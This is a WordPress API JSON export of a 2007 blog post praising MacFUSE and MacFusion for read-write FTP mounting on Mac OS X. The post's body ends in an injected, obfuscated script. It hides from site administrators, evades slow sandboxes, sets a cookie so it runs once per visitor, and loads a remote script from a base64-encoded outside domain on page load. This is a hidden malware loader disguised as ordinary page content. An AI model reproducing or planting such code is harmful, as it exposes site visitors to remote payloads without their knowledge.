{"id":201,"date":"2007-06-08T14:35:38","date_gmt":"2007-06-08T18:35:38","guid":{"rendered":"http:\/\/www.callblog.net\/?p=201"},"modified":"2025-10-17T13:14:42","modified_gmt":"2025-10-17T17:14:42","slug":"macfusion","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/macfusion","title":{"rendered":"MacFusion"},"content":{"rendered":"<p><a href=\"http:\/\/www.flickr.com\/photos\/thibeault\/536302903\/\" title=\"Photo Sharing\" style=\"float:right\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/farm2.static.flickr.com\/1274\/536302903_6f86c89f9a_o.jpg\" width=\"114\" height=\"115\" alt=\"macfusion\" \/><\/a>When I was writing PHP, Zach had turned me on to <a href=\"http:\/\/nosheep.net\/story\/editplus-the-greatest-text-editor\/\">EditPlus<\/a> [<a href=\"http:\/\/www.editplus.com\">website<\/a>].<span class=\"Apple-converted-space\">  <\/span>By far my favorite 2 features of EditPlus were it&#8217;s light weight and integrated FTP functionality. <span class=\"Apple-converted-space\">  <\/span>Matt wrote of how he enjoyed the<span class=\"Apple-converted-space\">  <\/span><a href=\"http:\/\/borkweb.com\/story\/coda-finally-a-mac-development-tool-i-like\">integrated ftp support<\/a> in Coda, but I found it to be a bit to geared towards web development for what I usually find myself doing these days.<span class=\"Apple-converted-space\">  <\/span>I&#8217;ve been frustrated with OS X&#8217;s native, GUI FTP support being read-only, which is why I was delighted to stumble upon MacFUSE and MacFusion.<\/p>\n<p style=\"min-height: 14.0px\"><\/p>\n<p><a href=\"http:\/\/code.google.com\/p\/macfuse\/\">MacFUSE<\/a> is a port of the <a href=\"http:\/\/fuse.sourceforge.net\/\">FUSE<\/a> project to the Mac platform by Amit Singh at Google.<span class=\"Apple-converted-space\">  <\/span>FUSE stands for File system in USErspace, which, means that it provides a filesystem interface for things that may or may not be actual filesystems without troubling the operating system with all the messy details.<span class=\"Apple-converted-space\">  <\/span>The part that gets me excited is that I can mount an ftp site and then read from and write to it from the GUI or command line, but the<a href=\"http:\/\/fuse.sourceforge.net\/wiki\/index.php\/FileSystems\"> list of things that can mounted using FUSE<\/a> is quite extensive. <span class=\"Apple-converted-space\">  <\/span>Both FUSE and MacFUSE are command line based, so Michael Gorbach developed <a href=\"journler:\/\/entry\/12\">MacFusion<\/a>, which lets you unlock some of the power of FUSE without typing a whole lot or even reading a manual.<span class=\"Apple-converted-space\">  <\/span>Now I essentially have ftp access as good as EditPlus&#8217;s from <em>almost <\/em>any application.<span class=\"Apple-converted-space\">  <\/span>I have to say almost? because Apple&#8217;s Backup program <a href=\"http:\/\/code.google.com\/p\/macfuse\/issues\/detail?id=213&amp;can=1&amp;q=&amp;amp;quot;Unknown%20Volume&amp;amp;quot;\">doesn&#8217;t like to recognize FUSE drives<\/a>.<\/p>\n<p style=\"min-height: 14.0px\"><\/p>\n<p style=\"min-height: 14.0px\"><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When I was writing PHP, Zach had turned me on to EditPlus [website]. By far my favorite 2 features of EditPlus were it&#8217;s light weight and integrated FTP functionality. Matt wrote of how he enjoyed the integrated ftp support in Coda, but I found it to be a bit to geared towards web development for [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[30,6],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-mac","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=201"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/201\/revisions"}],"predecessor-version":[{"id":783,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/201\/revisions\/783"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}